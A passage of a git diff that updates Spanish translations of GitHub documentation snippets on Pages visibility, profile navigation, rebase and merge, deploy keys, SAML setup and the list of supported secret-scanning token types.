b/translations/es-ES/data/reusables/pages/private_pages_are_public_warning.md index c5c5066fdf..deb448427c 100644 --- a/translations/es-ES/data/reusables/pages/private_pages_are_public_warning.md +++ b/translations/es-ES/data/reusables/pages/private_pages_are_public_warning.md @@ -1,5 +1,5 @@ {% warning %} -**Warning**: {% ifversion ghes or ghae %}If your site administrator has enabled Public Pages, {% endif %}{% data variables.product.prodname_pages %} sites are publicly available on the internet{% ifversion fpt or ghec %} by default{% endif %}, even if the repository for the site is private or internal.{% ifversion fpt or ghec %} {% data reusables.pages.about-private-publishing %} Otherwise, if{% else %} If{% endif %} you have sensitive data in your site's repository, you may want to remove the data before publishing. For more information, see{% ifversion ghes or ghae %} "[Configuring {% data variables.product.prodname_pages %} for your enterprise](/admin/configuration/configuring-github-pages-for-your-enterprise#enabling-public-sites-for-github-pages)" and{% endif %} "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility){% ifversion fpt or ghec %}" and "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."{% else %}."{% endif %} +**Advertencia**: {% ifversion ghes or ghae %}Si tu administrador de sitio habilitó las páginas públicas, {% endif %}los sitios de {% data variables.product.prodname_pages %} estarán disponibles al público en general por internet{% ifversion fpt or ghec %} predeterminadamente{% endif %}, incluso si el repositorio del sitio es privado o internol.{% ifversion fpt or ghec %} {% data reusables.pages.about-private-publishing %} De otra forma, si{% else %} Si{% endif %} tienes datos sensibles en el repositorio de tu sitio, podrías querer eliminar los datos antes de publicar. Para obtener más información, consulta las secciones{% ifversion ghes or ghae %} "[Configurar {% data variables.product.prodname_pages %} para tu empresa](/admin/configuration/configuring-github-pages-for-your-enterprise#enabling-public-sites-for-github-pages)" y {% endif %} "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility){% ifversion fpt or ghec %}" y "[Cambiar la visibilidad de tu sitio de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)".{% else %}."{% endif %} {% endwarning %} diff --git a/translations/es-ES/data/reusables/profile/access_org.md b/translations/es-ES/data/reusables/profile/access_org.md index 896f1985c5..8a81f55b82 100644 --- a/translations/es-ES/data/reusables/profile/access_org.md +++ b/translations/es-ES/data/reusables/profile/access_org.md @@ -1 +1 @@ -1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Your organizations**. ![Tus organizaciones en el menú de perfil](/assets/images/help/profile/your-organizations.png) +1. En la esquina superior derecha de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, haz clic en tu foto de perfil y luego en **Tus organizaciones**. ![Tus organizaciones en el menú de perfil](/assets/images/help/profile/your-organizations.png) diff --git a/translations/es-ES/data/reusables/profile/access_profile.md b/translations/es-ES/data/reusables/profile/access_profile.md index d8e7a9eae6..36108f4ef5 100644 --- a/translations/es-ES/data/reusables/profile/access_profile.md +++ b/translations/es-ES/data/reusables/profile/access_profile.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghec %}1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Your profile**. +{% ifversion fpt or ghec %}1. En la esquina superior derecha de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, haz clic en tu foto de perfil y luego en **Tu perfil**. ![Foto de perfil](/assets/images/help/profile/top_right_avatar.png){% else %} -1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Your profile**. ![Profile photo](/assets/images/enterprise/settings/top_right_avatar.png){% endif %} +1. En la esquina superior derecha de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, haz clic en tu foto de perfil y luego en **Tu perfil**. ![Profile photo](/assets/images/enterprise/settings/top_right_avatar.png){% endif %} diff --git a/translations/es-ES/data/reusables/pull_requests/rebase_and_merge_summary.md b/translations/es-ES/data/reusables/pull_requests/rebase_and_merge_summary.md index 8a937d51e3..a8d544f8a9 100644 --- a/translations/es-ES/data/reusables/pull_requests/rebase_and_merge_summary.md +++ b/translations/es-ES/data/reusables/pull_requests/rebase_and_merge_summary.md @@ -1,6 +1,6 @@ -Cuando seleccionas la opción **Rebase and merge** (Cambiar de base y fusionar) en la {% data variables.product.product_location %}, todas las confirmaciones de la rama de tema (o rama de encabezado) se agregan a la rama de base por separado sin una confirmación de fusión. In that way, the rebase and merge behavior resembles a [fast-forward merge](https://git-scm.com/docs/git-merge#_fast_forward_merge) by maintaining a linear project history. However, rebasing achieves this by re-writing the commit history on the base branch with new commits. +Cuando seleccionas la opción **Rebase and merge** (Cambiar de base y fusionar) en la {% data variables.product.product_location %}, todas las confirmaciones de la rama de tema (o rama de encabezado) se agregan a la rama de base por separado sin una confirmación de fusión. De esta forma, el comportamiento de fusión y rebase asemeja a una [fusión rápida](https://git-scm.com/docs/git-merge#_fast_forward_merge) manteniendo un historial linear del proyecto. Sin embargo, el rebase lo logra al rescribir el historial de confirmaciones en la rama base con confirmaciones nuevas. -El comportamiento de cambio de base y de fusión en {% data variables.product.product_name %} varía levemente con respecto a `git rebase`. El cambio de base y la fusión en {% data variables.product.prodname_dotcom %} siempre actualizarán la información de la persona que confirma el cambio y crearán nuevas SHA de confirmación, mientras que el `git rebase` externo a {% data variables.product.prodname_dotcom %} no cambia la información de la persona que confirma el cambio cuando ocurre el cambio de base superponiendo un compromiso de antepasado. For more information about `git rebase`, see [git-rebase](https://git-scm.com/docs/git-rebase) in the Git documentation. +El comportamiento de cambio de base y de fusión en {% data variables.product.product_name %} varía levemente con respecto a `git rebase`. El cambio de base y la fusión en {% data variables.product.prodname_dotcom %} siempre actualizarán la información de la persona que confirma el cambio y crearán nuevas SHA de confirmación, mientras que el `git rebase` externo a {% data variables.product.prodname_dotcom %} no cambia la información de la persona que confirma el cambio cuando ocurre el cambio de base superponiendo un compromiso de antepasado. Para obtener más información sobre `git rebase`, consulta [git-rebase](https://git-scm.com/docs/git-rebase) en la documentación de Git. Para cambiar de base y fusionar solicitudes de extracción, debes tener [permisos de escritura](/articles/repository-permission-levels-for-an-organization/) en el repositorio, y el repositorio debe [permitir la fusión de cambio de base](/articles/configuring-commit-rebasing-for-pull-requests/). diff --git a/translations/es-ES/data/reusables/repositories/copy-clone-url.md b/translations/es-ES/data/reusables/repositories/copy-clone-url.md index d445df0dac..6ff21fe76a 100644 --- a/translations/es-ES/data/reusables/repositories/copy-clone-url.md +++ b/translations/es-ES/data/reusables/repositories/copy-clone-url.md @@ -1,6 +1,6 @@ 1. Sobre la lista de archivos, da clic en {% octicon "download" aria-label="The download icon" %} **Código**. ![Botón de "Código"](/assets/images/help/repository/code-button.png) 1. Para clonar el repositorio utilizando HTTPS, debajo de "Clonar con HTTPS", da clic en -{% octicon "clippy" aria-label="The clipboard icon" %}. To clone the repository using an SSH key, including a certificate issued by your organization's SSH certificate authority, click **Use SSH**, then click {% octicon "clippy" aria-label="The clipboard icon" %}. To clone a repository using {% data variables.product.prodname_cli %}, click **Use {% data variables.product.prodname_cli %}**, then click {% octicon "clippy" aria-label="The clipboard icon" %}. +{% octicon "clippy" aria-label="The clipboard icon" %}. Para clonar el repositorio utilizando una llave SSH, incluyendo un certificado emitido por la autoridad de certificados SSH de tu organización, haz clic en **Utilizar SSH** y luego en {% octicon "clippy" aria-label="The clipboard icon" %}. Para clonar un repositorio utilizando el {% data variables.product.prodname_cli %}, haz clic en **Utilizar el {% data variables.product.prodname_cli %}** y luego en {% octicon "clippy" aria-label="The clipboard icon" %}. ![El icono de portapapeles para copiar la URL para clonar un repositorio](/assets/images/help/repository/https-url-clone.png) {% ifversion fpt or ghes or ghae or ghec %} ![El icono del portapapeles para copiar la URL para clonar un repositorio con el CLI de GitHub](/assets/images/help/repository/https-url-clone-cli.png){% endif %} diff --git a/translations/es-ES/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/es-ES/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md index 871360b397..4ca6162bed 100644 --- a/translations/es-ES/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md +++ b/translations/es-ES/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -6,6 +6,6 @@ - Cuando [LDAP Sync esté habilitado](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#enabling-ldap-sync), si eliminas a una persona de un repositorio, perderá acceso, pero sus bifurcaciones no se eliminarán. Si la persona se agrega a un equipo con acceso al repositorio original de la organización dentro de los tres meses, su acceso a las bifurcaciones se restaurarán de manera automática la próxima vez que ocurra una sincronización.{% endif %} - Eres responsable de asegurar que las personas que perdieron el acceso a un repositorio borren cualquier información confidencial o propiedad intelectual. -- Las personas con permisos administrativos en un repositorio privado{% ifversion fpt or ghes or ghae or ghec %} o interno{% endif %} pueden dejar de permitir la bifurcación del mismo, y los propietarios de la organización pueden dejar de permitir la bifurcación de cualquier repositorio privado {% ifversion fpt or ghes or ghae or ghec %} o interno {% endif %} en una organización. Para obtener más información, consulta las secciones "[Administrar la política de bifurcación para tu organización](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" y "[Administrar la política de bifurcación para tu repositorio](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)". +- Las personas con permisos administrativos en un repositorio privado{% ifversion ghes or ghae or ghec %} o interno{% endif %} pueden dejar de permitir la bifurcación del mismo, y los propietarios de la organización pueden dejar de permitir la bifurcación de cualquier repositorio privado {% ifversion ghes or ghae or ghec %} o interno {% endif %} en una organización. Para obtener más información, consulta las secciones "[Administrar la política de bifurcación para tu organización](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" y "[Administrar la política de bifurcación para tu repositorio](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)". {% endwarning %} diff --git a/translations/es-ES/data/reusables/repositories/deploy-keys-write-access.md b/translations/es-ES/data/reusables/repositories/deploy-keys-write-access.md index 069db83896..b2543080c7 100644 --- a/translations/es-ES/data/reusables/repositories/deploy-keys-write-access.md +++ b/translations/es-ES/data/reusables/repositories/deploy-keys-write-access.md @@ -1 +1 @@ -Las claves de despliegue con acceso de escritura pueden llevar a cabo las mismas acciones que un miembro de la organización con acceso administrativo o que un colaborador en un repositorio personal. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)." +Las claves de despliegue con acceso de escritura pueden llevar a cabo las mismas acciones que un miembro de la organización con acceso administrativo o que un colaborador en un repositorio personal. Para obtener más información, consulta las secciones "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" y "[Niveles de permiso para un repositorio de cuenta de usuario](/articles/permission-levels-for-a-user-account-repository/)". diff --git a/translations/es-ES/data/reusables/repositories/deploy-keys.md b/translations/es-ES/data/reusables/repositories/deploy-keys.md index 42705ae6ad..3e6b05a466 100644 --- a/translations/es-ES/data/reusables/repositories/deploy-keys.md +++ b/translations/es-ES/data/reusables/repositories/deploy-keys.md @@ -1 +1 @@ -You can launch projects from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to your server by using a deploy key, which is an SSH key that grants access to a single repository. {% data variables.product.product_name %} adjunta la parte pública de la llave directamente en tu repositorio en vez de hacerlo a una cuenta de usuario, y la parte privada de ésta permanece en tu servidor. Para obtener más información, consulta la sección "[Entregar despliegues](/rest/guides/delivering-deployments)". +Puedes lanzar proyectos hacia tu servidor desde un repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} utilizando una llave de despliegue, la cual es una llave SSH que otorga acceso a un repositorio único. {% data variables.product.product_name %} adjunta la parte pública de la llave directamente en tu repositorio en vez de hacerlo a una cuenta de usuario, y la parte privada de ésta permanece en tu servidor. Para obtener más información, consulta la sección "[Entregar despliegues](/rest/guides/delivering-deployments)". diff --git a/translations/es-ES/data/reusables/repositories/enable-security-alerts.md b/translations/es-ES/data/reusables/repositories/enable-security-alerts.md index 58b42003da..566bf5cd47 100644 --- a/translations/es-ES/data/reusables/repositories/enable-security-alerts.md +++ b/translations/es-ES/data/reusables/repositories/enable-security-alerts.md @@ -1,4 +1,4 @@ {% ifversion ghes or ghae-issue-4864 %} Los propietarios de empresas deben habilitar -las alertas del {% data variables.product.prodname_dependabot %} para las dependencias vulnerables para {% data variables.product.product_location %} antes de que puedas utilizar esta característica. Para obtener más información, consulta la sección "[Habilitar la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} en tu cuenta empresarial](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)". +{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. Para obtener más información, consulta la sección "[Habilitar la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} en tu cuenta empresarial](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)". {% endif %} diff --git a/translations/es-ES/data/reusables/repositories/releases.md b/translations/es-ES/data/reusables/repositories/releases.md index 7566c2eea7..632eac4c36 100644 --- a/translations/es-ES/data/reusables/repositories/releases.md +++ b/translations/es-ES/data/reusables/repositories/releases.md @@ -1 +1 @@ -1. To the right of the list of files, click **Releases**. ![Sección de lanzamientos en la barra lateral de lado derecho](/assets/images/help/releases/release-link.png) +1. A la derecha de la lista de archivos, haz clic en **Lanzamientos**. ![Sección de lanzamientos en la barra lateral de lado derecho](/assets/images/help/releases/release-link.png) diff --git a/translations/es-ES/data/reusables/repositories/security-advisory-edit-details.md b/translations/es-ES/data/reusables/repositories/security-advisory-edit-details.md index b7e8fe1210..385a52016e 100644 --- a/translations/es-ES/data/reusables/repositories/security-advisory-edit-details.md +++ b/translations/es-ES/data/reusables/repositories/security-advisory-edit-details.md @@ -1 +1 @@ -1. Edita el producto y versiones que se vieron afectados por la vulnerabilidad de seguridad de la que trata esta asesoría de seguridad. If applicable, you can add multiple affected products to the same advisory. ![Metadatos de asesoría de seguridad](/assets/images/help/security/security-advisory-affected-product.png) +1. Edita el producto y versiones que se vieron afectados por la vulnerabilidad de seguridad de la que trata esta asesoría de seguridad. En caso de que aplique, puedes agregar varios productos afectados a esta misma asesoría. ![Metadatos de asesoría de seguridad](/assets/images/help/security/security-advisory-affected-product.png) diff --git a/translations/es-ES/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/es-ES/data/reusables/repositories/security-alerts-x-github-severity.md index 2cad99a4bb..2741a8f189 100644 --- a/translations/es-ES/data/reusables/repositories/security-alerts-x-github-severity.md +++ b/translations/es-ES/data/reusables/repositories/security-alerts-x-github-severity.md @@ -1 +1 @@ -Las notificaciones de correo electrónico para {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}alertas de seguridad{% endif %} que afecten a uno o más repositorios incluyen el campo de encabezado `X-GitHub-Severity`. Puedes utilizar el valor del campo de encabezado `X-GitHub-Severity` para filtrar las notificaciones de correo electrónico para {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}alertas de seguridad{% endif %}. +Email notifications for {% data variables.product.prodname_dependabot_alerts %} that affect one or more repositories include the `X-GitHub-Severity` header field. You can use the value of the `X-GitHub-Severity` header field to filter email notifications for {% data variables.product.prodname_dependabot_alerts %}. diff --git a/translations/es-ES/data/reusables/repositories/sidebar-pr.md b/translations/es-ES/data/reusables/repositories/sidebar-pr.md index 4fb8acbe72..bb96953c5c 100644 --- a/translations/es-ES/data/reusables/repositories/sidebar-pr.md +++ b/translations/es-ES/data/reusables/repositories/sidebar-pr.md @@ -3,5 +3,5 @@ {% ifversion fpt or ghec %} ![Selección de la pestaña de propuestas y solicitudes de extracción](/assets/images/help/repository/repo-tabs-pull-requests.png) {% elsif ghes > 3.1 or ghae-next %} - ![Pull request tab selection](/assets/images/enterprise/3.3/repository/repo-tabs-pull-requests.png){% else %} + ![Selección de pestañas en una solicitud de cambios](/assets/images/enterprise/3.3/repository/repo-tabs-pull-requests.png){% else %} ![Issues tab](/assets/images/enterprise/3.1/help/repository/repo-tabs-pull-requests.png){% endif %} diff --git a/translations/es-ES/data/reusables/repositories/you-can-fork.md b/translations/es-ES/data/reusables/repositories/you-can-fork.md index fd247de939..0a3de14656 100644 --- a/translations/es-ES/data/reusables/repositories/you-can-fork.md +++ b/translations/es-ES/data/reusables/repositories/you-can-fork.md @@ -1,4 +1,4 @@ -{% ifversion ghae %}Si las políticas de tu empresa permiten bifurcar los repositorios internos y privados, puedes{% else %}Puedes{% endif %} bifurcar un repositorio hacia tu cuenta de usuario o hacia cualquier organización en donde tengas permisos de creación de repositorios. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +{% ifversion ghae %}Si las políticas de tu empresa permiten bifurcar los repositorios internos y privados, puedes{% else %}Puedes{% endif %} bifurcar un repositorio hacia tu cuenta de usuario o hacia cualquier organización en donde tengas permisos de creación de repositorios. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". {% ifversion fpt or ghes or ghec %} diff --git a/translations/es-ES/data/reusables/saml/about-linked-identities.md b/translations/es-ES/data/reusables/saml/about-linked-identities.md index ff141ede45..6952ff75f2 100644 --- a/translations/es-ES/data/reusables/saml/about-linked-identities.md +++ b/translations/es-ES/data/reusables/saml/about-linked-identities.md @@ -1,3 +1,3 @@ -You can view the single sign-on identity that a member has linked to their account on {% data variables.product.product_location %}. +Puedes ver la identidad de inicio único que un miembro enlace a su cuenta en {% data variables.product.product_location %}. -If a member links the wrong identity to their account on {% data variables.product.product_location %}, you can revoke the linked identity to allow the member to try again. +Si un miembro enlaza la identidad errónea a su cuenta de {% data variables.product.product_location %}, puedes revocar dicha identidad para permitir que el miembro lo vuelva a intentar. diff --git a/translations/es-ES/data/reusables/saml/okta-edit-provisioning.md b/translations/es-ES/data/reusables/saml/okta-edit-provisioning.md index 7836cbc9cc..17dbe8b96c 100644 --- a/translations/es-ES/data/reusables/saml/okta-edit-provisioning.md +++ b/translations/es-ES/data/reusables/saml/okta-edit-provisioning.md @@ -1,3 +1,4 @@ +9. To avoid syncing errors and confirm that your users have SAML enabled and SCIM linked identities, we recommend you audit your organization's users. For more information, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." 10. A la derecha de "Aprovisionar a la App", da clic en **Editar**. ![Botón "Editar" para las opciones de aprovisionamiento de la aplicación de Okta](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png) 11. A la derecha de "Crear Usuarios", selecciona **Habilitar**. ![Casilla "Habilitar" para la opción de "Crear Usuarios" de la aplicación de Okta](/assets/images/help/saml/okta-provisioning-enable-create-users.png) 12. A la derecha de "Actualizar Atributos de Usuario", selecciona **Habilitar**. ![Casilla "Habilitar" para la opción de "Actualizar Atributos de Usuario" de la aplicación de Okta](/assets/images/help/saml/okta-provisioning-enable-update-user-attributes.png) diff --git a/translations/es-ES/data/reusables/saml/outside-collaborators-exemption.md b/translations/es-ES/data/reusables/saml/outside-collaborators-exemption.md index 21a309b6a8..d95afb05b1 100644 --- a/translations/es-ES/data/reusables/saml/outside-collaborators-exemption.md +++ b/translations/es-ES/data/reusables/saml/outside-collaborators-exemption.md @@ -1,5 +1,5 @@ {% note %} -**Nota:** No se requiere que los colaboradores externos se autentiquen con un IdP para acceder a los recursos de una organización que cuente con el SSO de SAML. For more information on outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." +**Nota:** No se requiere que los colaboradores externos se autentiquen con un IdP para acceder a los recursos de una organización que cuente con el SSO de SAML. Para obtener más información sobre los colaboradores externos, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)". {% endnote %} diff --git a/translations/es-ES/data/reusables/saml/saml-supported-idps.md b/translations/es-ES/data/reusables/saml/saml-supported-idps.md index 31b439fcb5..26402d8793 100644 --- a/translations/es-ES/data/reusables/saml/saml-supported-idps.md +++ b/translations/es-ES/data/reusables/saml/saml-supported-idps.md @@ -1,6 +1,6 @@ {% data variables.product.product_name %} es compatible con el SSO de SAML para los IdP que implementen SAML 2.0 estándar. Para obtener más información, consulta la sección [Wiki de SAML](https://wiki.oasis-open.org/security) en el sitio web de OASIS. -{% data variables.product.company_short %} officially supports and internally tests the following IdPs. +{% data variables.product.company_short %} es oficialmente compatible con y prueba internamente los siguientes IdP. {% ifversion fpt or ghec or ghes %} - Active Directory Federation Services (AD FS) diff --git a/translations/es-ES/data/reusables/secret-scanning/api-beta.md b/translations/es-ES/data/reusables/secret-scanning/api-beta.md index c3200b1fb8..5d810c67a5 100644 --- a/translations/es-ES/data/reusables/secret-scanning/api-beta.md +++ b/translations/es-ES/data/reusables/secret-scanning/api-beta.md @@ -1,4 +1,4 @@ -{% ifversion ghes > 3.0 %} +{% ifversion ghes > 3.0 or ghae-next %} {% note %} diff --git a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md index 5d7d31a05b..a7cd6cb425 100644 --- a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -8,27 +8,27 @@ Adobe | Token de Servicio de Adobe | adobe_service_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Adobe | Token de Acceso de Duración Corta de Adobe | adobe_short_lived_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Adobe | Adobe JSON Web Token | adobe_jwt{% endif %} Alibaba Cloud | Alibaba Cloud Access Key ID | alibaba_cloud_access_key_id Alibaba Cloud | Alibaba Cloud Access Key Secret | alibaba_cloud_access_key_secret Amazon Web Services (AWS) | Amazon AWS Access Key ID | aws_access_key_id Amazon Web Services (AWS) | Amazon AWS Secret Access Key | aws_secret_access_key +Adobe | Token Web JSON de Adobe | adobe_jwt{% endif %} Alibaba Cloud | ID de Llave de Acceso a Alibaba Cloud | alibaba_cloud_access_key_id Alibaba Cloud | Llave Secreta de Acceso a Alibaba Cloud | alibaba_cloud_access_key_secret Amazon Web Services (AWS) | ID de Llave de Acceso de Amazon AWS | aws_access_key_id Amazon Web Services (AWS) | Llave de Acceso Secreta de Amazon AWS | aws_secret_access_key {%- ifversion fpt or ghec or ghes > 3.2 %} Amazon Web Services (AWS) | Token de Sesión de Amazon AWS | aws_session_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} Amazon Web Services (AWS) | ID de Llave de Acceso Temporal de Amazon AWS | aws_temporary_access_key_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Asana | Asana Personal Access Token | asana_personal_access_token{% endif %} Atlassian | Atlassian API Token | atlassian_api_token Atlassian | Atlassian JSON Web Token | atlassian_jwt +Asana | Token de Acceso Personal de Asana | asana_personal_access_token{% endif %} Atlassian | Token de la API de Atlassian | atlassian_api_token Atlassian | Token Web JSON de Atlassian | atlassian_jwt {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Atlassian | Bitbucket Server Personal Access Token | bitbucket_server_personal_access_token{% endif %} Azure | Azure DevOps Personal Access Token | azure_devops_personal_access_token Azure | Azure SAS Token | azure_sas_token Azure | Azure Service Management Certificate | azure_management_certificate +Atlassian | Token de Acceso Personal al Servidor de Bitbucket | bitbucket_server_personal_access_token{% endif %} Azure | Token de Acceso Personal a Azure DevOps | azure_devops_personal_access_token Azure | Token SAS de Azure | azure_sas_token Azure | Certificado de Administración de Servicios de Azure | azure_management_certificate {%- ifversion ghes < 3.4 or ghae or ghae-issue-5342 %} -Azure | Azure SQL Connection String | azure_sql_connection_string{% endif %} Azure | Azure Storage Account Key | azure_storage_account_key +Azure | Secuencia de Conexión SQL de Azure | azure_sql_connection_string{% endif %} Azure | Llave de Cuenta de Almacenamiento de Azure | azure_storage_account_key {%- ifversion fpt or ghec or ghes > 3.2 %} Beamer | Llave de la API de Beamer | beamer_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Checkout.com | Llave de Secreto de Producción de Checkout.com | checkout_production_secret_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Checkout.com | Checkout.com Test Secret Key | checkout_test_secret_key{% endif %} Clojars | Clojars Deploy Token | clojars_deploy_token +Checkout.com | Llave Secreta de Pruebas de Checkout.com | checkout_test_secret_key{% endif %} Clojars | Token de Despliegue de Clojars | clojars_deploy_token {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} CloudBees CodeShip | Credencial de CodeShip de CloudBees | codeship_credential{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -Contentful | Contentful Personal Access Token | contentful_personal_access_token{% endif %} Databricks | Databricks Access Token | databricks_access_token Discord | Discord Bot Token | discord_bot_token +Contentful | Token de Acceso Personal a Contentful | contentful_personal_access_token{% endif %} Databricks | Token de Acceso a Databricks | databricks_access_token Discord | Token de Bot de Discord | discord_bot_token {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Doppler | Token Personal de Doppler | doppler_personal_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} @@ -38,23 +38,23 @@ Doppler | Token del CLI de Doppler | doppler_cli_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Doppler | Token de SCIM de Doppler | doppler_scim_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Doppler | Doppler Audit Token | doppler_audit_token{% endif %} Dropbox | Dropbox Access Token | dropbox_access_token Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token +Doppler | Token de Auditoría de Doppler | doppler_audit_token{% endif %} Dropbox | Token de Acceso a Dropbox | dropbox_access_token Dropbox | Token de Acceso de Vida Corta a Dropbox | dropbox_short_lived_access_token {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Duffel | Token de Acceso en Vivo de Duffel | duffel_live_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Duffel | Token de Acceso de Prueba de Duffel | duffel_test_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} -Dynatrace | Dynatrace Access Token | dynatrace_access_token{% endif %} Dynatrace | Dynatrace Internal Token | dynatrace_internal_token +Dynatrace | Token de Acceso a Dynatrace | dynatrace_access_token{% endif %} Dynatrace | Token Interno de Dynatrace | dynatrace_internal_token {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} EasyPost | Llave de la API de Producción de EasyPost | easypost_production_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} EasyPost | Llave de la API de Pruebas de EasyPost | easypost_test_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Fastly | Fastly API Token | fastly_api_token{% endif %} Finicity | Finicity App Key | finicity_app_key +Fastly | Token de la API de Fastly | fastly_api_token{% endif %} Finicity | Llave de la App de Finicity | finicity_app_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Flutterwave | Llave de Secreto de la API en Vivo de Flutterwave | flutterwave_live_api_secret_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Flutterwave | Flutterwave Test API Secret Key | flutterwave_test_api_secret_key{% endif %} Frame.io | Frame.io JSON Web Token | frameio_jwt Frame.io| Frame.io Developer Token | frameio_developer_token +Flutterwave | Ññave Secreta de la API de Pruebas de Flutterwave | flutterwave_test_api_secret_key{% endif %} Frame.io | Token Web JSON de Frame.io | frameio_jwt Frame.io| Token de Desarrollador de Frame.io | frameio_developer_token {%- ifversion fpt or ghec or ghes > 3.2 %} FullStory | Llave de la API de FullStory | fullstory_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -64,9 +64,11 @@ GitHub | Token de Acceso de OAuth de GitHub | github_oauth_access_token{% endif {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} GitHub | Token de Actualización de GitHub | github_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token +GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key +{%- ifversion fpt or ghec or ghes > 3.3 %} +GitLab | GitLab Access Token | gitlab_access_token{% endif %} GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token {%- ifversion fpt or ghec or ghes > 3.2 %} -Google | Firebase Cloud Messaging Server Key | firebase_cloud_messaging_server_key{% endif %} Google | Google API Key | google_api_key Google | Google Cloud Private Key ID | google_cloud_private_key_id +Google | Llave del Servidor de Mensajería de Firebase 